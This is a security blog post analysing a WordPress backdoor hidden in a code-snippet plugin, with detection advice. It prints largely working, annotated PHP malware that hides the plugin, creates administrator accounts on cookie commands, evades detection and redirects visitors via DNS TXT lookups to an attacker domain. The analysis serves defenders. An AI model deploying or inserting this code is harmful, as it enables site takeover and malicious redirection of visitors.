WP backdoors delivered via code snippets

Jul 22 2024

We have recently encountered a creative way to hide exploits on WP sites by using plugins that provide custom PHP code snippets. This article should serve as a warning why such plugins are automatically a security risk and should be avoided on all Wordpress sites whenever possible.

Process of the Attack

  1. Initial Access: The attacker leverages admin-level privileges, potentially obtained through existing exploits or vulnerabilities, to install a code snippet plugin from the official source on WordPress.org.
  2. Concealment: The attack generates a code snippet that conceals the presence of the plugin. This is achieved by masking all related information via CSS and by immediately unloading the plugin using a WordPress action hook.
  3. Execution: The malicious payload is automatically executed on every page request.

Example of backdoor code

We've lifted the following demonstration out of an infected website. The code has been slightly modified and clarifications added.

// Attacker's personal password
$_pwsa = 'password_string';

// Hide the presence of the WPCode plugin
if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {
  add_action('admin_print_scripts', function () {
    echo '<style>';
    ...
    echo '</style>';
  });
  add_filter('all_plugins', function ($plugins) {
    unset($plugins['insert-headers-and-footers/ihaf.php']);
    return $plugins;
  });
}

if (!function_exists('_red')) {

  // Helper function, extract base64-encoded cookie values
  function _gcookie($n) {
    return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : '';
  }

  // Exploit control section
  // Test if visiting browser has the password cookie set to correct value
  if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {

    // Command options
    switch (_gcookie('c')) {

      // Update domain storage hidden within wordpress option
      case 'sd':
        $d = _gcookie('d');
        if (strpos($d, '.') > 0) {
          update_option('d', $d);
        }
        break;

      // Add administrator user to the WP site
      // username, password and e-mail fields are defined by u,p,e cookies
      case 'au':
        $u = _gcookie('u');
        $p = _gcookie('p');
        $e = _gcookie('e');
        if ($u && $p && $e && !username_exists($u)) {
          $user_id = wp_create_user($u, $p, $e);
          $user = new WP_User($user_id);
          $user->set_role('administrator');
        }
        break;
    }
    return;
  }

  // Skip further code on the login page to avoid detection
  if (@stripos(wp_login_url(), ''.$_SERVER['SCRIPT_NAME']) !== false) { return; }

  // Skip further code if specific cookie is present
  if (_gcookie("skip") === "1") { return; }

  // Helper functions
  function _is_mobile() { ... }
  function _is_iphone() { ... }
  function _user_ip()   { ... }

  function _red() {

    // Do nothing for logged in users to avoid detection
    if (is_user_logged_in()) { return; }

    // Do nothing if IP is not set, likely to avoid detection when run via tool like WP CLI
    $ip = _user_ip(); if (!$ip) { return; }

    // Get WP transient option that stores list of visitor IP addresses
    $exp = get_transient('exp'); if (!is_array($exp)) { $exp = array(); }

    // Remove IP address from the list if 24 hours have passed since the last visit
    foreach ($exp as $k => $v) { if (time() - $v > 86400) { unset($exp[$k]); } }

    // Do nothing more if IP address has visited within last 24 hours
    if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) { return; }

    // Save website hostname and ip address of the visitor
    $host = filter_var(parse_url('https://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);
    $ips = str_replace(':', '-', $ip); $ips = str_replace('.', '-', $ips);

    // Take attacker's contact domain out of WP option
    $h = 'cdn-routing.com';
    $o = get_option('d');
    if ($o && strpos($o, '.') > 0) { $h = $o; }

    // Prepare DNS request - package info about the current website into subdomains
    $m = _is_iphone() ? 'i' : 'm'; $req = (!$host ? 'unk.com' : $host) . '.' . (!$ips ? '0-0-0-0' : $ips) . '.' . mt_rand(100000, 999999) . '.' . (_is_mobile() ? 'n' . $m : 'nd') . '.' . $h;

    // Send the DNS request: get redirect URL and provide heartbeat
    $s = null;
    try {
      $v = "d" . "ns_" . "get" . "_rec" . "ord";
      $s = @$v($req, DNS_TXT);
    } catch (\Throwable $e) { } catch (\Exception $e) { }

    // Redirect visitor to the domain name in the attacker's DNS TXT record
    // Log the IP into storage
    if (is_array($s) && !empty($s)) {
      if (isset($s[0]['txt'])) {
        $s = $s[0]['txt'];
        $s = base64_decode($s);
        if ($s == 'err') {
          $exp[$ip] = time();
          delete_transient('exp');
          set_transient('exp', $exp);
        } else if (substr($s, 0, 4) === 'http') {
          $exp[$ip] = time();
          delete_transient('exp');
          set_transient('exp', $exp);
          wp_redirect($s);
          exit;
        }
      }
    }
  }
  add_action('init', '_red');
}

The code shown above grants attacker an ability to redirect visitors of the website to any other domain that he wishes. The backdoor allows switching of the control domain in order to allow migration of the attacker's own infrastructure. Finally, the attacker can, at any point, create his own Admin-level user on the website and use it at his leisure - possibly improving the backdoor or adding more malicious code.

Thoughts on detection

This kind of malicious code can be much more difficult to locate than exploits embedded within code as the latter can be simply identified by tracking file differences.

Basic security tools don't scan WP database or they don't do so sufficiently well. We have tested if the code shown earlier would get detected by Wordfence. It wouldn't. This means that exploits hidden within snippet plugins easily escape automated detection.

In this particular case the detection can be as simple as comparing the list of available installed plugins to the contents of wp-content/plugins/ folder. Should the folder contain any plugin slugs that do not correspond to what is available inside Wordpress administration, detailed investigation should follow. This is, however, something that can hardly get automated due to the exploit's different behavior when running via CLI tool.

The easiest approach to detection could simply be maintaining a plugin graylist. A list of potentially exploitable plugins that, when installed, require additional review.